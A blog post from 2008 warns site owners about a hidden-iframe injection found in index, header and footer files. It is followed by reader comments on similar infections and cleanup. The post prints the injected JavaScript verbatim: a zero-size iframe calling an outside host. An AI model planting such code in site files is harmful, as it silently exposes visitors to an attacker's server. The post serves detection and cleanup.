Check your website for virus attack !

Just discovered this by accident. My server files have been infected with a piece of javascript code that sends the information to a certain site. This is certainly a first.

How can you check this?

The virus attacks following files on your server:

  • index.php
  • index.html
  • main.php
  • header.php
  • footer.php

At the end of these files it will insert the following code:

<script language=javascript>status=location;document.write ('<iframe src="hххp://online-channels.info/in.cgi?traf" width=0
height=0 frameborder=0 display:none onLoad="status=defaultStatus;"></iframe>');</script>

Update: if you use WordPress read how to check WordPress sites.

What it does?

I can only guess. The code is calling a script on online-channels.info site. It can be sending traffic information. Maybe it is a first case of Internet marketing espionage? Or it can be trying to run some malicious code.

How did it come here?

It can be a security flaw on my hosting server. It can be a security flaw of the WordPress which is the main script I run on my server.

Whatever way it came, it executed code that scanned through all the files on my server that match the given names and added that code at the end.

All created files carry the time stamp 29-06-2008 04:59 which is the time when the attack occurred.

How did I discover it?

By accident. I was looking at the HTTP requests on my site using Firebug. I noticed few 404 Object not found errors. Normally I keep my blog in good shape and these things should not happen.

virus Check your website for virus attack !

I then suspected that some of the plugins I use reference this site. After inspection I could find the script inserted to a number of plugins.

I have then checked my theme - it was there too in the index, header and footer. I then checked the whole WordPress installation - the script was there.

Finally I discovered it was spread out on my whole server.

The lucky thing is the attacker's site broke down so I could find an anomaly with that 404 error.

Who is behind it?

I am still not sure. Here is the domain registration record for online-channels.info

Domain ID:D23976304-LRMS
Domain Name:ONLINE-CHANNELS.INFO
Created On:29-Feb-2008 23:08:51 UTC
Last Updated On:22-Jun-2008 11:24:52 UTC
Expiration Date:28-Feb-2009 23:08:51 UTC
Sponsoring Registrar:Blog.com Digital Communications Inc. (R315-LRMS)
Status:OK
Registrant ID:PP-SP-001
Registrant Name:Domain Admin
Registrant Organization:PrivacyProtect.org
Registrant Street1:P.O. Box 97
Registrant Street2:Note - All Postal Mails Rejected, visit Privacyprotect.org
Registrant Street3:
Registrant City:Moergestel
Registrant State/Province:
Registrant Postal Code:5066 ZH
Registrant Country:NL
Registrant Phone:+45.36946676

The site is registered somewhere in Denmark under an anonymous name. Blog.com is mentioned as Sponsoring Registrar.

The server IP is  78.109.22.246 and is located in Ukraine.

Trace route finishes before getting to the site:

11    86 ms    83 ms    83 ms  tr1-v23.de-fra.datagroup.ua [217.28.250.42]
12   114 ms   107 ms   107 ms  tr1-v454.ua-kiev.datagroup.ua [80.91.160.205]
13   691 ms   611 ms   131 ms  cat65-ge1-2-datagroup.hosting.ua [194.54.91.130]

14     *        *        *     Request timed out.

What can I do?

You should check the files on your server for the code. Check index.php and index.html first as they are most likely to have been infected.

Warn your friends about it.

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51 Comments

  1. georgi
    3 weeks ago

    hi,
    i have been having problems with facebook for a few days now,It lets me sign on to my account but doesnt allow me to do anything else.. Do i need to delete my account. i have a variety of virus checkers such as AVG and COMODO firewall but neither have picked up any issues with the site. i would really appreciate your help as it is starting to bug me.

  2. James
    Sep 28th, 2009

    I think my site has been hacked as i could not log in to admin section.Each time i tried, the login redirects to myndomain.com and i my broweser would froze away. I checked index.php and i found , which i have removed but the problem still remains. Any help would be appreciated.

    • Sep 28th, 2009

      You could try exploit scanner plugin mentioned in the article.

      • James
        Sep 28th, 2009

        I wish i could try the explit scanner on if i could log in. My site wp-admin log is redirecting to myndomain.com anf would just freeze the browser.

  3. jenie=)
    Sep 18th, 2009

    i am ssssoo frustrated right now because i am a newbie and i dont really know what to do and WHAT TO LOOK FOR. i dont know what to do. my blogs are infected according to some blogger friends. but im not using wordpress...am using blogspot.

    is it possible that the virus came from those clickables? or adsence? advertizers? im afraid to move right now. but i think im losing friends, im losing opps...and my computer's getting affected. help me? anyone?

    what's the best anti virus then? i have avg, and to try and upload mcafee. what of my sites? do i need to delete and start over?

    • Sep 18th, 2009

      There is very slim, if any chance of having a blogspot blog infected. Probably it is a false alarm

  4. Saj
    Sep 12th, 2009

    hi,

    We had a case of this iframe virus, (cleaned files changed ftp details upto now its good) we also noticed a page drop on google, my question is does this virus play a key role in google page/rank drop issues,..?

    Thanks
    Saj

  5. sandeep
    Aug 21st, 2009

    The common source of infection is ftp username and passwords. if your site in infected change all your ftp accounts password. look for some javascript code or some iframe in index.php, header.php, footer.php

    remove those code.

    every thing will be fine.

  6. joseph gormanly
    Jul 26th, 2009

    there is no way of geting rid of this virus, i tried everything, but by accident i discovered, by going into your plesk, reboot your website, and the virus will disapear for 3 days, then it kicks in again, so i reboot every 2 days to make sure it stays where it is until we can find a guaranteed way of eliminating the virus,

  7. Kumar
    Jul 25th, 2009

    Hi have the same problem, what i did is scan all the file on server, chnage the ftp details and puted all form with some restriction

  8. Anurag Shukla
    Jul 15th, 2009

    Hello, I was having the same problem which all you faced. I have 19 Sites running and they were on different servers and hostings but all they got infected. I later found out the way to solve the problem and how we can save us from all that bloody attacks.

    I have written a post about the thing that how to save your site from attacks.

    check here http://imagine18.com/2009/07/is-your-site-infected-with-iframes-hacks-and-exploits/

    tanks

  9. Lulu
    Jul 14th, 2009

    I have a couple sites and the virus got on to all my sites that were in my filezilla.

    I had to replace the whole folder or one of the files would just redo all the file and add the follwing piece of line to my index files.

    Solution: Change all ftp passwords, replace all files on ftp.
    Make sure to backup from here on out!

  10. squidley
    Jul 9th, 2009

    I have mutiple sites, windows and linux alike. PHP boards, shoppingcarts, flash, html, etc Every one of my sites hosted on godaddy. Every one had the index and logon files replaced with a code similar to the one above added. I found it near the header on the html's and at the bttom of the php files. All replaced on every site the same day and minute. I have replaced them all 3 times now and there is no end in site. Godaddy said "update your PH. we don't suport open source...blah blah" I'm using html and falsh as well ya know.......argh I'm gonna hunt this down until I find the bleeps.

  11. Paul
    May 29th, 2009

    This isnt only a wordpress problem, but a cms problem.
    I have 14 joomla sites that have all been infected and have been researching as to how and why.

    Appearantly if your site has been hacked it caused by a sniffer virus on your local pc. Essentially everytime you connect to your ftp, the virus reads all of the ftp login credentials and then posts the results to someone somewhere. Then a bot of some kind posts the script to all of your index.php and index.html files. In my particular case its a different script than the one posted above. It is so incredibly frustrating.

    I do know that if you have been comprimised, be sure to clean your pc completely and change all of your ftp passwords. What i am trying to find is a way to scan the files and remove the script from all of the files without having to do it manually...14 sites =not enough time in my life..

    Can anyone suggest a program or way to scan the files of websites remotely or locally for a specific script and remove them automatically?

    Thanks in advance!

    • MarcoPolo
      Aug 11th, 2009

      I was woundering if you ever fix your sites. I had same problem and agree with you with stolen ftp information, I'm using joomla and wordpress and all sites got hack with this iframe exploit and since this code are in so many files what I did is use a search and replace software to scan all the files with same type of code and deleted and one big problem we face is that if we have exploit scripts in our websites at the end of the line our sites will be blacklisted from search engines :-(

  12. Babette Jones
    May 24th, 2009

    This sounds a lot like what happens to all of my pages with the name 'index'. Any of my members who used AVG virus protection get an ugly attack message and can't enter my site. The odd thing is that it doesn't seem to cause any problems if you don't have AVG. It seemed to happen about every 4-6 weeks where it would insert code at the end of these index pages. I seem to have solved it by renaming my index pages 'default' .
    *cheers*

  13. Rahul Shahane
    May 22nd, 2009

    Really it is nice information.But I want to know wheather there is any option to protect against these infected files automatically?

  14. Rahul Shahane
    May 22nd, 2009

    Really it is nice information.But I want to know wheather there is any antivirus to protect against these unwanted script inserted files.

  15. Bishal Adhikary
    May 6th, 2009

    Nice post. my blog is also infected with a malware. This has a script similart like this inserted in many of my plugins, themes, wp-config and so on.

    i have remove the scripts manually many times (by replacing everything with a fresh copy)but the very next day they appear at the same files. What might be the problem? please help me out.

  16. Grindhouse
    Apr 23rd, 2009

    Happened here too. Like a previous poster, with a GoDaddy site.

    I removed all files. Then uploaded a backup. It too became infected immediately. Gave-up, deleted all files, except for a re-direct index.php. It takes about 24 hours for it to become infected.

    I just keep going back in and removing the script.

  17. Apr 15th, 2009

    Hi Ron

    If you use wordpress then check this article http://www.prelovac.com/vladimir/wordpress-security-notes

    Otherwise you'd probably need to hire someone

  18. ron stone
    Apr 15th, 2009

    Vladimir,

    Can you check or tell me how we can get our website checked for virus? we don't have a webmaster per se and are getting McAfee not testing indications on Google and Yahoo listings.

    Thanks,

    Ron
    817-412-0505

  19. rahul
    Feb 12th, 2009

    o.k post. most of them are infected with these leechers.the best way is to check index.html on server file regularly. i think by this way we can stop virus attacking.

  20. LouBatt
    Dec 9th, 2008

    Wow, i ve same trouble too.
    My Site was added some script by Mr.X like this
    "".

    For the first time I think thats my faults on copy paste script during coding. I had asking to my server site provider, they use Linuk as they Operating System and virus can not attack they server, as they say. It mean virus run at local machine, not attacking to the server. Is it ?? If run on local machine, how we can detect that ? with symantec ?? ha ha...

  21. Oct 28th, 2008

    @Lee - I suggest using exploit scanner plugin - it can go into the database for you

  22. Lee
    Oct 15th, 2008

    My sites were hacked...

    I just cleaned what seemed to be 100's of pages on a few of my sites.
    The java code to remove was on most of my sites index pages

    I have removed it all (I hope and think)
    But, what I'm wondering is, if it can get into my mysqual database

    My hosting company has been very little help. I also cannot access my database, so that's why I am wondering if it can be in there as well (or it could be a simple me not remembering my password). If so, will it not just reinfect the index pages again?

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